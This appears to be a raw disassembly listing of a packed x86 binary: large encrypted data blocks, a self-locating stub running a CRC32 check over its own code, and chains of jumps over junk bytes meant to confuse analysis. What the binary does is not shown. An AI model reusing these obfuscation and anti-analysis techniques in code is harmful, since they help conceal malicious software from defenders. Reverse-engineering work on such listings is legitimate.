dd 0B0675802h, 7BAA5F58h, 34808E61h, 5EEB8633h, 0EA5E8F4Dh
dd 0C585E843h, 8C32D14Eh, 6D0728AEh, 0CFBD6B3Eh, 0B4444063h
dd 42D7527Ch, 0CEABA589h, 0C1646088h, 2064C472h, 6DA901BEh
dd 92B1067Bh, 9F875FD0h, 0A2B8E436h, 0EC28EF17h, 0F3A23EF5h
dd 93A54A6Dh, 1A275CE8h, 557C838Bh, 7C7EC7C6h, 0A43029F0h
dd 95C73D3Ah, 0FF703E2Fh, 32E7FA9h, 0C8D01443h, 2DB5FA11h
dd 9BFC8B9Fh, 0F2144499h, 7481C4ECh, 0C2ED9380h, 0D05EFC7Bh
dd 869D770Fh, 0E0E78E7h, 47CB119Ah, 0CC21C9ABh, 61CBA84h
dd 7AB3A1F4h, 0BD4E99B6h, 0C3E1CD3Eh, 0F3A13A11h, 3EA48260h
dd 0B9592E5Bh, 3CDDE827h, 7A926830h, 6CAFAA11h, 7D48D7E5h
dd 0E7FDD033h, 32F0219Ch, 0CBB7652Ch, 230241AEh, 0EE1FFD93h
dd 484BB288h, 0D0295695h, 25B7C220h, 0A7584936h, 9740CC44h
dd 3D4CA637h, 2FD3D170h, 1196195Eh, 3A856543h, 68E29802h
dd 0E371F5B1h, 750AB19h, 2E7B475Fh, 18F7BBD0h, 39F994F2h
dd 7C8C6A11h, 515D255Ah, 0DDB3A4B0h, 43400B7Fh, 50A19C2Eh
dd 3D624549h, 31C3F921h, 645701A5h, 0D2E00A6Ch, 1636517Eh
dd 0C4807560h, 0AED1A9F9h, 50F3ED2Fh, 0E1FE25DCh, 2FF36727h
dd 0A137C2D7h, 31234C77h, 5A53A7EAh, 16A2063Ah, 398E101h
dd 0D1561D10h, 5885DF38h, 702FF2DDh, 2CEFCCD0h, 991A71CCh
dd 0C53756AFh, 57EDC1CFh, 0F2DAC6D2h, 52CD6E2Fh, 7A61DBEBh
dd 5B6D375Dh, 24FC75C3h, 707A03EDh, 4BEB97F4h, 25821E99h
dd 2D4A97CCh, 0A79E8E02h, 0DB77E74Fh, 5F7DC405h, 0A487F350h
dd 1EA3DBF5h, 1452DFC6h, 0EB7A640h, 0D1C7FF4h, 79495EB7h
dd 0D2779DA7h, 4C30B8EEh, 4F2E7183h, 0BAC17507h, 650A38FAh
dd 0EE7F49E7h, 23A68985h, 85463F8Dh, 0B70FE8F6h, 1602F69h
dd 75F352ECh, 6C4DF148h, 4B253D8Ah, 28A6019Dh, 2A50981Ch
dd 0C50F526h, 0E9357941h, 0EC191C6Eh, 0F8334C20h, 5F349143h
dd 0D4ECBD6Ah, 0FFDBEE12h, 6EF4332Fh, 0C724B670h, 5B9AB21Fh
dd 53282B7h, 0CA20DB9Eh, 0CF624831h, 0F2ED966Dh, 6A028F68h
dd 0BE06814Bh, 0ABA17E91h, 17B25DC5h, 8E50E24Ah, 79EC7BF6h
dd 39CE4D0Ch, 0E33C166Eh, 56629D38h, 23D9FD47h, 0DDA1BDDFh
dd 0A36BB618h, 5BF86D26h, 58C89A6Bh, 0D9AAC898h, 4A823370h
dd 0BCC83433h, 760A8F4Eh, 9EA0441Eh, 927641h, 57E3E47Fh
dd 298EAB3Eh, 0B2D1B54Eh, 0BA535938h, 0F8720510h, 0EDAB55EAh
dd 0DD916264h, 6E39380Fh, 0C63DEE80h, 0C31B5B04h, 36E4DFA6h
dd 0DFA8E910h, 0DEA7DEF3h, 2C73BDFCh, 0CA99919Eh, 0B3F8C094h
dd 0DCEE59EBh, 20D1F627h, 9AC57D2Ah, 2B8ABA46h, 0A8FE991h
dd 8DD1A7Bh, 66B78A87h, 1E23FD63h, 0F551756Eh, 47D5F158h
dd 1C222FACh, 0DA8C6378h, 90E6B57h, 5678C2F9h, 9B1AA213h
dd 0F709E0E5h, 0F973C997h, 0CBAD2488h, 0A7504184h, 42305A8Ch
dd 33BFE8D1h, 6733FC75h, 8B3C12F5h, 753A990Bh, 18AF7094h
dd 4ECEC5DCh, 41815828h, 8007422h, 5376C061h, 0A796A80Ch
dd 0CD38CCDEh, 0AAC8169Fh, 0FA45119h, 117993F5h, 8282B282h
dd 5076CEB7h, 596FF250h, 0F13A1865h, 3E149A30h, 15E7C134h
dd 0A86BED01h, 14252970h, 4C91CA9Eh, 4875D575h, 369999E3h
dd 0C88F5E50h, 15BBCE01h, 8E9873A3h, 0F28695FDh, 96C9F327h
dd 8142DAF3h, 95DA6B28h, 730885C6h, 8BE5BA8Fh, 71842960h
dd 0E27CBC0Ah, 9C686D70h, 0B2EBF5C6h, 7CB3E0D0h, 0EBF9CB4Ch
dd 5618E61Fh, 350B9EBEh, 2DFB9B50h, 0E23EE133h, 0FEAD8165h
dd 2856BD65h, 85A0722Ch, 4FA2C4C7h, 0E86C253Bh, 1B4A039Ah
dd 7DC73C1Bh, 0F7B25B74h, 370CBC12h, 8E7E3668h, 3FE8E079h
dd 0B3CD9061h, 8963BC2Ah, 0D08389F1h, 0F361AB38h, 0D82FCD75h
dd 71D6A0C1h, 65DB0F6Dh, 894DCB19h, 0EA4089F3h, 0B4609C1h
dd 0CCC20396h, 77E16265h, 0BC5A7861h, 0A9431973h, 0BD0D6B81h
dd 0AF77C3EDh, 5E6E5F62h, 33A45914h, 38E3DEE4h, 0C6390852h
dd 20C4C599h, 0B8B933A8h, 0A9200A39h, 22FA4D3h, 410AB789h
dd 0B1F5F6F2h, 0CE3167D7h, 0A2D49799h, 0A99F68Bh, 4B87B048h
dd 557E0385h, 5FCFB298h, 662E4536h, 7B7796D9h, 0AD9453C9h
dd 74A60AD1h, 147AEBF3h, 0BB34FF99h, 0D0955A82h, 0B9EA4486h
dd 71DB2E9Bh, 0E5CFDDB5h, 0A1104F32h, 29D49891h, 0A2CE2E6Bh
dd 915F5358h, 270CB4DFh, 0CE070ECEh, 2D53BA15h, 8CC2064Fh
dd 0F067982Dh, 0F074E71Ch, 0B355DD08h, 0CAF6D4AEh, 53401F5Ch
dd 9718997Ch, 0E95916FEh, 0E7436C47h, 82251D98h, 0AA726DC6h
dd 0CF980640h, 655B0BF5h, 2B8CB869h, 0BD55F5AEh, 1E7D2F31h
dd 43B19528h, 0EDB391F3h, 1F39996Bh, 5B701443h, 0D9CF4766h
dd 10521BE9h, 9042AF47h, 0A0C3EE3Ah, 6D3C15A1h, 0CC21FA0Fh
dd 0EA924915h, 6869537Bh, 0DC9DB45h, 2D33CEDFh, 1097C67h
dd 0C7C2B97Eh, 655E5EEEh, 0D6B53EB8h, 46CD718Ah, 6E55EB17h
dd 0BA5138A8h, 87003318h, 6806140Bh, 7CC18580h, 81396E71h
dd 0AD59B331h, 0CC2E57ABh, 0C902C043h, 0D45BAFF3h, 0D63AB7E8h
dd 88FFDBD4h, 9A3F490Eh, 7AE7F71Dh, 7BB8C136h, 0A301C1C0h
dd 0F4D12AEh, 524C0D56h, 4759F47Fh, 9D8F457Ah, 0F3ED88Dh
dd 1C1599A8h, 83A3314h, 7F8204D7h, 0E2E42C21h, 0EDC974CEh
dd 30C9DB4Eh, 9BE67C5h, 502FC59Eh, 5E1FA63Ch, 787F7684h
dd 9744EBF8h, 54678A01h, 6640E06Ch, 464A7646h, 3DB0473Bh
dd 0C1D097A0h, 1F70F9B1h, 0E7B19F90h, 430F7234h, 28073072h
dd 49CA5035h, 120A0E46h, 0AE61AB80h, 22150F8Bh, 2825C1D0h
dd 15E38893h, 0CB3C56AAh, 0FA02942Fh, 4864462h, 8EBFC802h
dd 4A2901Bh, 6BE63F4Ah, 0C275338Eh, 0C7F1B423h, 83ECBC61h
dd 46233266h, 0ACFA11BEh, 1034764Eh, 0B352339Ah, 8B88107Fh
dd 4B99E4ABh, 4F09DFCDh
dd 96BE405h, 479225DBh, 0F9763E12h, 77CCCAACh, 9E9F67C4h
dd 2C1EE37h, 59E51B2Eh, 27BF1E2Ch, 62AAAA8h, 0EE87BA7Ch
dd 63A4780Dh, 3B255176h, 914F8B5Dh, 618AB85Fh, 0B9AC3F2Fh
dd 0D76CCA57h, 0D63CDD6Ch, 0E440AEB7h, 7BE508E9h, 0BF5BC0E7h
dd 0D3D8FE34h, 0DC440444h, 0CED6653Dh, 0A8E3F610h, 1BB1ECAAh
dd 467728FAh, 5878E49Ah, 0AC9E3537h, 0EE843953h, 2FFD02F7h
dd 0BDF17A18h, 9200FFA8h, 9781560Ch, 68B2402Bh, 733E24CCh
dd 33649121h, 78B106F6h, 9BA0087Fh, 0F7139316h, 6584DA5Fh
dd 0B4F7B701h, 503C9B33h, 8D0BC204h, 853E7C6Dh, 0B01B9C39h
dd 0AFF21E41h, 2CE7B503h, 2979007Ch, 9E05020Ch, 338BBF0Eh
dd 9014BEFDh, 0B1E6736Dh, 0CA5EAAEAh, 1EEB8644h, 87022B99h
dd 0CB75488Ch, 0B67F7E4Eh, 297FA6E5h, 0E666798Fh, 197E47A8h
dd 0D90FAD5Ch, 27491BE2h, 0DE7EEE70h, 59A4872h, 0B21BD5D5h
dd 4F861C1Fh, 0ADE7E04Eh, 7F7B34A5h, 4345D09Dh, 0FFDAB455h
dd 3BE6086Eh, 895E6DD7h, 25637BC7h, 2352C821h, 9595BB49h
dd 2F0C6F4Bh, 0A2B9326Dh, 0E50031BAh, 2BCF6A6Ch, 47D55DA4h
dd 6742FEE2h, 3E57418Dh, 1A0DF2A4h, 0AE056336h, 68A2069Ah
dd 2D7170CCh, 0DE8E44F9h, 221FE960h, 0C2A0CA88h, 0AD78CBF2h
dd 24CB7E5h, 0EA5100D8h, 9C5A0996h, 8A01528Eh, 10554DF4h
dd 3CF14593h, 0E166D8CFh, 0FF5D7D32h, 4D28B005h, 0A60B76EFh
dd 0BB126A13h, 8C6263D3h, 928796C2h, 0CF596C35h, 0C8186435h
dd 0D9172C91h, 7291213Dh, 729F5CE5h, 13D0BE74h, 0CA8CEAE7h
dd 0FEEB10A0h, 0A9B4B615h, 8EEFFEDDh, 0F08FD01Ah, 63AB5666h
dd 2A6FDC94h, 0A5D3CA6Dh, 4CF6B902h, 6FE339FFh, 69BE484Ch
dd 0EE6D3FEBh, 56B7B206h, 0CF0B0F88h, 27F42B5Eh, 0BB9852A4h
dd 259A7C8Fh, 3617A4A0h, 0AB40A4D3h, 0F41DA3Fh, 1F189181h
dd 6D446AB1h, 0A8BBC5E8h, 8E433573h, 0F5524CFFh, 7B410B9Eh
dd 19ED152Fh, 8A497684h, 4E1D9F31h, 868EF7D8h, 409CA25Ch
dd 767333F8h, 839E6503h, 381169CCh, 0E5BD13A8h, 400014F5h
dd 0BB84699Fh, 46DC1A23h, 38232B55h, 74B8CAFCh, 3735CC15h
dd 29B739EEh, 65A03F3Ch, 0EF9E7277h, 0D5E3DED5h, 7D75D289h
dd 6045848Ch, 3C81E80Eh, 7F76272Eh, 0EE94163Fh, 94FC644Ch
dd 160CD528h, 128D63B4h, 45399E2Bh, 0DD222F88h, 0BCA3F2C4h
dd 0A4BAFC80h, 0B49551E6h, 94D47C97h, 93CB6600h, 0BDD3B2EDh
dd 5ABB889Fh, 0DEF76EE3h, 78FE0AEDh, 0B070E473h, 1B70FFF3h
dd 740E059Ah, 6F48A005h
; ---------------------------------------------------------------------------
jnb short loc_46BC60
pop ebx
loc_46BBFB: ; CODE XREF: DMN1:0046CA9Aj
popa
pop ebp
jmp loc_469C00
; ---------------------------------------------------------------------------
dw 0EFA6h
dd 26BD6418h, 0A41F2B16h, 0EE08660Ah, 767FE731h, 50909EC8h
dd 56999F79h, 78BBA6EEh, 343D9B2h, 2E9FCBCh, 43DE0A39h
dd 1BCD805Bh, 6953227Ah, 0B6E37F85h, 0C982F540h, 0DF20A3D0h
dd 0DB334213h, 78C11EA6h, 0C0BD6842h, 594DF63h, 35EFD33Bh
dd 0DB42A3B9h, 2FCBD189h, 8271CE38h
; ---------------------------------------------------------------------------
loc_46BC60: ; CODE XREF: DMN1:0046BBF8j
rcr dword ptr [ebx+3AFE85E8h], 36h
; ---------------------------------------------------------------------------
db 8Fh
dd 0E8D60792h, 0C284FE56h, 57C65E80h, 0A04A5F6Ah, 71249045h
dd 0A082545Eh, 0D7302976h, 5C54C303h, 7CE394Bh, 112F9015h
dd 962BA16Eh, 0E29423ACh, 0FEA3253Ch, 5D186B7Ch, 0B27C0F71h
dd 0F57BAFE7h, 0EE437B7Ch, 504C16F7h, 0C8578804h, 369E1753h
dd 5BB581DCh, 55ABF0B4h, 0E07BDFE3h, 3BB0633Ch, 0F170D1AEh
dd 8E2EB7C5h, 9AAD4D84h, 6D3CF5ACh, 0D5ECAF47h, 0F3AD038Bh
dd 0E5CCF78Ah, 6AF720DBh, 0A191EE23h, 622C628Eh, 4AC28E87h
dd 3781E883h, 0C6500D0h, 0AC3E9C9Dh, 74E23833h, 0E1EB6104h
dd 0D1BE30E8h, 1C8A9527h, 4798EA9Fh, 63B7E11Dh, 6667B259h
dd 228B16C8h, 0B9300BD7h, 0BA971019h, 2D62656Bh, 0E0903218h
dd 79CA3865h, 0BC2A6D6Fh, 2E655F92h, 8202602Ah, 0A0DF0A3Eh
dd 0BD490D24h, 1DCE01C6h, 0C130AD39h, 0C853E9B7h, 0D9BA6166h
dd 603F23A7h, 76309E73h, 92E623A9h, 4AD0C311h, 0A9971E76h
dd 0EF7F9E51h, 0CD27229Eh, 352D4319h, 0FC4F1A9Bh, 7699E75Eh
dd 8237A674h, 0B1A234F7h, 705A9F2Fh, 0B9992272h, 0ACB5CC4Dh
dd 0A15719FEh, 45B220B5h, 35021EFEh, 0ABA700FAh, 10AB700Eh
dd 52CB181Bh, 31290DDCh, 0AA37DE71h, 4DCF1DA0h, 0A124F556h
dd 6452F1C5h, 0D55C256Dh, 292B079Bh, 976D4EA9h, 0DC0886EAh
dd 0EE03D129h, 0A16AE90Dh, 42623E0Dh, 5B65A01Ah, 0D105E102h
dd 0DAA17D67h, 56D6942h, 76907082h, 8347162Bh, 123AE3A3h
dd 46C85A34h, 7D694A28h, 503D02B2h, 42DA52FFh, 0E504B98Fh
dd 2CF9A07Eh, 85716725h, 93B0CDBBh, 7C6BBCDBh, 52A8B32Dh
dd 0CFB43CB8h, 3D3D57A6h, 0CD5C8DD1h, 8E95F5E4h, 96847C11h
dd 4A01A3E4h, 45222C5Bh, 466832A5h, 7D829615h, 0A8FDD04Ch
dd 5EAC38F9h, 5AF0E632h, 45FC83ACh, 0B209EDE6h, 1BBC96BFh
dd 201A1438h, 9E99C6A2h, 0F1C1465Eh, 2E0FFAEh, 33AC5D7h
dd 8DA542Eh, 0AD002BAEh, 30CDB1BFh, 0B858EAC7h, 0F0E77BB2h
dd 16B5C0h, 31CBBD5Ch, 0FC884072h, 0AE75A1CFh, 3168121Ch
dd 5EBB0829h, 342D9E3h, 0AFF9E9D0h, 8611EF4Eh, 0E8E25930h
dd 0F2176B6Dh, 0A7EE0ED0h, 94B0A216h, 5DABE2D8h, 7A257D4Eh
dd 62DD079Eh, 8686D7C6h, 130EE652h, 0C404D84Fh, 0D0D801F6h
dd 13BA2B46h, 0E931484Dh, 0DE99771Ah, 0DE68C7C6h, 59D49059h
dd 5052EC01h, 0F18EEE58h, 96A76044h, 34C3BE3h, 0AEB3ED45h
dd 0EDD20F8Fh, 0D56BD99Dh, 58FE7BE0h, 812C5E34h, 0DC56D952h
dd 845B6BD5h, 6373FE58h, 5973B7D6h, 14DC57D0h, 88C5B91Eh
dd 46F1ACEDh, 9C776E5Ah, 0BC491CB6h, 7F0C3275h, 51E3FB65h
dd 787AE6D8h, 6493A00Fh, 2E132479h, 0D2B821C3h, 0BF8F1CF4h
dd 0DCD17045h, 0F3609D7Bh, 0F855E086h, 0E6E6F05Ah, 7C7D221Bh
dd 44AF1D48h, 0B13C3AE7h, 0C54D4364h, 198C1249h, 0FA90F1ECh
dd 45A57774h, 24D9341Eh, 3D98670Ah, 69A5B8BEh, 0C15ECC73h
dd 9C9DE927h, 0A60E27A6h, 9C9A2256h, 0E973C0AEh, 0F34C5408h
dd 0AC85E9F8h, 876B309Dh, 70AB61B1h, 4D33B09Dh, 1FA8AF30h
dd 8492DF0h, 6BD809F2h, 6183FE55h, 0DDD8F77Bh, 2E75604Dh
dd 383D64CAh, 0D956ACA0h, 0C0C9FB34h, 0CC8BBE2Eh, 0EAF49D6Ah
dd 0BDBCE2A4h, 8D742E11h, 0FED27AA1h, 0C22499DAh, 28A80712h
dd 3413028Bh, 5320A151h, 0FE3E946Ah, 0FA25233Ch, 5F8145E8h
dd 0DB301FE3h, 0C2D1B668h, 0A4F6463Bh, 1429064Fh, 0CEDDCECEh
dd 0C2926936h, 53D11310h, 0FC19036Ch, 64389255h, 0AC86F83Eh
dd 0B5B50947h, 4E843591h, 0CFB695AFh, 0CB28D9B8h, 0D14FD4F9h
dd 267981C2h, 49DC6CE3h, 0EE251A39h, 4FECD0AEh, 0B5EDBE78h
dd 0CC73E13Ch, 59EF024Ah, 0BEB7495Bh, 0C1EA00EEh, 0AEFC7C9Ch
dd 3C264B10h, 78EFC5F5h, 0AC168E91h, 0F3D558DBh, 21141194h
dd 78F6CE7Ch, 938634EEh, 0BCE063E3h, 91C0A0C2h, 0D873A678h
dd 60758FD8h, 2650CE7Ch, 0A1DFCEF5h
; ---------------------------------------------------------------------------
mov bh, 38h
dec edi
loc_46C09B: ; CODE XREF: DMN1:0046CAA1j
push ebp
mov ebp, esp
call $+5
pop ebp
sub ebp, 6C0A3h
pusha
mov esi, 6C09Bh
add esi, ebp
mov edi, 0A04h
push ebx
push ecx
push edx
push esi
push edi
cld
xor ecx, ecx
dec ecx
mov edx, ecx
push ebx
loc_46C0C3: ; CODE XREF: DMN1:0046C0ECj
xor eax, eax
xor ebx, ebx
lodsb
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
loc_46C0D2: ; CODE XREF: DMN1:0046C0E5j
shr bx, 1
rcr ax, 1
jnb short loc_46C0E3
xor ax, 8320h
xor bx, 0EDB8h
loc_46C0E3: ; CODE XREF: DMN1:0046C0D8j
dec dh
jnz short loc_46C0D2
xor ecx, eax
xor edx, ebx
dec edi
jnz short loc_46C0C3
pop ebx
not edx
not ecx
mov eax, edx
rol eax, 10h
mov ax, cx
pop edi
pop esi
pop edx
pop ecx
pop ebx
push eax
std
xchg ebp, ecx
jmp short loc_46C116
; ---------------------------------------------------------------------------
dw 14C1h
dd 907C5DB2h, 40FACFF0h, 0A21BBC72h
db 1, 80h
; ---------------------------------------------------------------------------
loc_46C116: ; CODE XREF: DMN1:0046C104j
jmp short loc_46C12B
; ---------------------------------------------------------------------------
dd 0FE387B40h, 4AA90D22h, 0DED37930h, 0E40A1BBAh
db 62h, 7Ch, 0DBh
; ---------------------------------------------------------------------------
loc_46C12B: ; CODE XREF: DMN1:loc_46C116j
or eax, 0FFFFFFFFh
jmp short loc_46C142
; ---------------------------------------------------------------------------
dd 0DDE20AD2h, 170CE4A7h, 0EB112469h, 0F2CE5799h
; ---------------------------------------------------------------------------
mov bl, al
loc_46C142: ; CODE XREF: DMN1:0046C12Ej
jmp short loc_46C150
; ---------------------------------------------------------------------------
xchg eax, edx
mov eax, ds:2144D4ECh
adc eax, [edi+2373A3CAh]
loc_46C150: ; CODE XREF: DMN1:loc_46C142j
jmp short loc_46C158
; ---------------------------------------------------------------------------
dw 0C4E2h
dd 0C17A7C6Ch
; ---------------------------------------------------------------------------
loc_46C158: ; CODE XREF: DMN1:loc_46C150j
bswap esi
bswap edi
jmp short loc_46C173
; ---------------------------------------------------------------------------
dw 38A3h
dd 5D1BD2BFh, 89E94E78h, 48DAD6F0h, 0B26D4031h
db 90h
db 0E3h, 0B2h
; ---------------------------------------------------------------------------
loc_46C173: ; CODE XREF: DMN1:0046C15Cj
jmp short loc_46C183
; ---------------------------------------------------------------------------
db 75h, 12h, 2Dh
dd 3DE3F09Fh, 1FB3A69Ah
db 4Bh, 69h, 0A7h
; ---------------------------------------------------------------------------
loc_46C183: ; CODE XREF: DMN1:loc_46C173j
jmp short loc_46C19D
; ---------------------------------------------------------------------------
db 13h, 0A2h, 93h
dd 46494A69h, 7AC6E27Ch, 0E66BA629h, 64E2233h, 8C35D702h
db 7Fh
; ---------------------------------------------------------------------------
loc_46C19D: ; CODE XREF: DMN1:loc_46C183j
jmp short loc_46C1A4
; ---------------------------------------------------------------------------
icebp
ror dword ptr [eax+1Bh], cl
dec ecx
loc_46C1A4: ; CODE XREF: DMN1:loc_46C19Dj
jmp short loc_46C1BC
; ---------------------------------------------------------------------------
dw 0C371h
dd 0B76A2DEFh, 509E647Dh, 0FEAB7A9Fh, 0FD683922h, 0EA5A987Dh
; ---------------------------------------------------------------------------
loc_46C1BC: ; CODE XREF: DMN1:loc_46C1A4j
jmp short loc_46C1DA
; ---------------------------------------------------------------------------
dw 37F6h
dd 7B6DB8B1h, 894F95DFh, 6FFCE117h, 50010590h, 7C310413h
dd 84FA6211h
db 68h, 0Ah
; ---------------------------------------------------------------------------
loc_46C1DA: ; CODE XREF: DMN1:loc_46C1BCj
inc eax
jmp short loc_46C1E7
; ---------------------------------------------------------------------------
db 5Fh, 0A2h, 9
dd 9F6F90F1h
db 89h, 0ADh, 10h
; ---------------------------------------------------------------------------
loc_46C1E7: ; CODE XREF: DMN1:0046C1DBj
jmp short loc_46C1F5
; ---------------------------------------------------------------------------
sbb [ebx], eax
db 36h
mov edi, 17D705DDh
clc
db 26h
or edx, edx
loc_46C1F5: ; CODE XREF: DMN1:loc_46C1E7j
cld
xchg esi, ebx
jmp short loc_46C215
; ---------------------------------------------------------------------------
dw 476Ah
dd 3B0EC94Dh, 3E709ABDh, 60B876E9h, 472B9349h, 0F622FD0Bh
dd 4FE1922Ch
db 0A2h
; ---------------------------------------------------------------------------
loc_46C215: ; CODE XREF: DMN1:0046C1F8j
jmp short loc_46C224
; ---------------------------------------------------------------------------
db 0D2h
dd 9709715Fh, 0B199D59Dh, 0D0BEBD12h
; ---------------------------------------------------------------------------
loc_46C224: ; CODE XREF: DMN1:loc_46C215j
stc
jmp short loc_46C241
; ---------------------------------------------------------------------------
db 86h
dd 317080D5h, 0E4499CABh, 6E20CF11h, 86FFA4D1h, 0C749C4D0h
dd 9E4F7C0Ah
; ---------------------------------------------------------------------------
dec ebp
loc_46C241: ; CODE XREF: DMN1:0046C225j
cmc
cmc
jmp short loc_46C254
; ---------------------------------------------------------------------------
mov ch, 0F0h
push ecx
test ds:90625CF6h, cl
xchg ecx, [ecx-5EC2D8CEh]
loc_46C254: ; CODE XREF: DMN1:0046C243j
jmp short loc_46C25F
; ---------------------------------------------------------------------------
dw 7F7Ch
dd 841A8F97h
db 51h, 68h, 61h
; ---------------------------------------------------------------------------
loc_46C25F: ; CODE XREF: DMN1:loc_46C254j
xchg ecx, ebp
xor eax, 41000h
xchg esp, ecx
bswap ebx
jmp short loc_46C27D
; ---------------------------------------------------------------------------
db 45h, 7Fh, 0C4h
dd 7C0BF96Eh, 5C1A57A5h, 60C02FC2h
; ---------------------------------------------------------------------------
push ebx
loc_46C27D: ; CODE XREF: DMN1:0046C26Bj
mov esi, 0ABA8h
loc_46C282: ; CODE XREF: DMN1:0046C9B6j
test ebx, 861D79B0h
rcl esp, cl
cmc
jmp short loc_46C2A2
; ---------------------------------------------------------------------------
db 0AFh, 5Eh, 24h
dd 0A4456584h, 5F0A0A07h, 4C2F37C0h, 6C8C5A8Eh
; ---------------------------------------------------------------------------
jns short loc_46C2F6
loc_46C2A2: ; CODE XREF: DMN1:0046C28Bj
jmp short loc_46C2BE
; ---------------------------------------------------------------------------
dd 9B8C3204h, 331876AFh, 655ECEB2h, 10AF68B5h, 0E6F88678h
dd 5D0EB89Ch
db 0BFh, 0CCh
; ---------------------------------------------------------------------------
loc_46C2BE: ; CODE XREF: DMN1:loc_46C2A2j
jmp short loc_46C2C3
; ---------------------------------------------------------------------------
aad 51h
stosd
loc_46C2C3: ; CODE XREF: DMN1:loc_46C2BEj
jmp short loc_46C2C9
; ---------------------------------------------------------------------------
db 2Fh, 0A3h, 36h
db 0A9h
; ---------------------------------------------------------------------------
loc_46C2C9: ; CODE XREF: DMN1:loc_46C2C3j
cmc
jmp short loc_46C2E0
; ---------------------------------------------------------------------------
dd 69B1A29Bh, 0F2F4D7CAh, 80A11926h, 349F16FCh, 0AF95B24Ch
; ---------------------------------------------------------------------------
loc_46C2E0: ; CODE XREF: DMN1:0046C2CAj
jmp short loc_46C2F1
; ---------------------------------------------------------------------------
dw 0D610h
dd 0B30F8FE7h, 6C4E5D31h, 0AE5764E2h
; ---------------------------------------------------------------------------
inc ebp
loc_46C2F1: ; CODE XREF: DMN1:loc_46C2E0j
jmp short loc_46C2F6
; ---------------------------------------------------------------------------
db 9Ah
; ---------------------------------------------------------------------------
pop esp
pop ecx
loc_46C2F6: ; CODE XREF: DMN1:0046C2A0j
; DMN1:loc_46C2F1j
jmp short loc_46C2F9
; ---------------------------------------------------------------------------
db 44h
; ---------------------------------------------------------------------------
loc_46C2F9: ; CODE XREF: DMN1:loc_46C2F6j
; DMN1:0046C326j
jmp short loc_46C30F
; ---------------------------------------------------------------------------
db 76h
dd 599A9E55h, 8824CF95h, 3C4973D3h, 49E6342Ah
; ---------------------------------------------------------------------------
ja short loc_46C354
push cs
loc_46C30F: ; CODE XREF: DMN1:loc_46C2F9j
std
jmp short loc_46C321
; ---------------------------------------------------------------------------
sub bh, dh
fdivr st(7), st
mul bh
imul ebp, [edx-2Bh], 6061319Ah
cmpsb
push ecx
loc_46C321: ; CODE XREF: DMN1:0046C310j
xchg edx, eax
jmp short loc_46C344
; ---------------------------------------------------------------------------
dec ebx
jmp short loc_46C2F9
; ---------------------------------------------------------------------------
dd 2FFCBB14h, 4D9955CEh, 0EF10EE22h, 676954DBh, 3C9CD24Ch
dd 7D70C724h, 0FFDADF5Bh
; ---------------------------------------------------------------------------
loc_46C344: ; CODE XREF: DMN1:0046C323j
jmp short loc_46C349
; ---------------------------------------------------------------------------
stc
neg dword ptr [edx]
loc_46C349: ; CODE XREF: DMN1:loc_46C344j
test eax, 31273221h
dec edi
mov edi, ebp
clc
std
loc_46C354: ; CODE XREF: DMN1:0046C30Cj
shr eax, 26h
std
jmp short loc_46C370
; ---------------------------------------------------------------------------
xchg eax, esp
test dword ptr [edi], 1F64AA87h
mov esp, 6CE596Eh
fisttp dword ptr [edx+2DC8FE01h]
scasb
lahf
dec esp
xchg eax, ebp
loc_46C370: ; CODE XREF: DMN1:0046C358j
xchg eax, ebx
jmp short loc_46C379
; ---------------------------------------------------------------------------
dd 0E7549963h
; ---------------------------------------------------------------------------
stosd
loc_46C379: ; CODE XREF: DMN1:0046C372j
jmp short loc_46C38F
; ---------------------------------------------------------------------------
db 2Ah
dd 304748D2h, 0BE73857Ah, 62192C82h, 86CB6EBCh
db 87h, 0A4h, 0B3h
; ---------------------------------------------------------------------------
loc_46C38F: ; CODE XREF: DMN1:loc_46C379j
cld
xchg esi, ebp
xchg esp, esp
jmp short loc_46C3A0
; ---------------------------------------------------------------------------
dw 5B5Ah
dd 0FB5A375Ch, 30F9677Fh
; ---------------------------------------------------------------------------
loc_46C3A0: ; CODE XREF: DMN1:0046C394j
jmp short loc_46C3A4
; ---------------------------------------------------------------------------
dw 968Ch
; ---------------------------------------------------------------------------
loc_46C3A4: ; CODE XREF: DMN1:loc_46C3A0j
jmp short loc_46C3C2
; ---------------------------------------------------------------------------
dw 7AE0h
dd 0FAE2272Bh, 33A956A8h, 0BEF42264h, 915507B3h, 92158024h
dd 959AD465h
db 91h, 0E7h
; ---------------------------------------------------------------------------
loc_46C3C2: ; CODE XREF: DMN1:loc_46C3A4j
jmp short loc_46C3C6
; ---------------------------------------------------------------------------
adc al, 0ABh
loc_46C3C6: ; CODE XREF: DMN1:loc_46C3C2j
add edi, edx
test ebx, 0FE2F3D93h
jmp short loc_46C3EE
; ---------------------------------------------------------------------------
dd 5534FE0Bh, 627D3EC8h, 0EB2D6AF3h, 0C60AA2BBh, 4FC90441h
dd 7D435DE4h, 3A901071h
db 0E0h, 0FBh
; ---------------------------------------------------------------------------
loc_46C3EE: ; CODE XREF: DMN1:0046C3CEj
xchg esi, esp
jmp short loc_46C406
; ---------------------------------------------------------------------------
dw 0BC8Fh
dd 2CBA85A3h, 0B2F1D041h, 695FBFC7h, 0A31E9EC8h
; ---------------------------------------------------------------------------
das
pop ss
loc_46C406: ; CODE XREF: DMN1:0046C3F0j
xchg ebp, edi
and eax, 5A46920h
jmp short loc_46C425
; ---------------------------------------------------------------------------
dd 702978F4h, 5B1DE1DFh, 8BEB748Dh, 0E82DE6ABh, 52E5617Bh
; ---------------------------------------------------------------------------
inc ecx
loc_46C425: ; CODE XREF: DMN1:0046C40Ej
jmp short loc_46C42B
; ---------------------------------------------------------------------------
align 4
db 31h, 52h, 2Ah
; ---------------------------------------------------------------------------
loc_46C42B: ; CODE XREF: DMN1:loc_46C425j
mov esi, [ebp+0]
xchg ecx, eax
stc
cld
jmp short loc_46C44A
; ---------------------------------------------------------------------------
dd 0B3406129h, 95EB66E1h, 9950DBD0h, 50D3BC39h, 514B513Eh
db 79h, 97h
; ---------------------------------------------------------------------------
loc_46C44A: ; CODE XREF: DMN1:0046C432j
jmp short loc_46C454
; ---------------------------------------------------------------------------
dd 908EBEEEh, 0AF212D4Fh
; ---------------------------------------------------------------------------
loc_46C454: ; CODE XREF: DMN1:loc_46C44Aj
inc ebp
jmp short loc_46C462
; ---------------------------------------------------------------------------
db 0E1h
dd 430A7283h, 949C81E8h
db 68h, 3Dh
; ---------------------------------------------------------------------------
loc_46C462: ; CODE XREF: DMN1:0046C455j
clc
jmp short loc_46C46F
; ---------------------------------------------------------------------------
align 2
dw 0A0AEh
; ---------------------------------------------------------------------------
mov edi, 0E80A8817h
inc edx
dec ebp
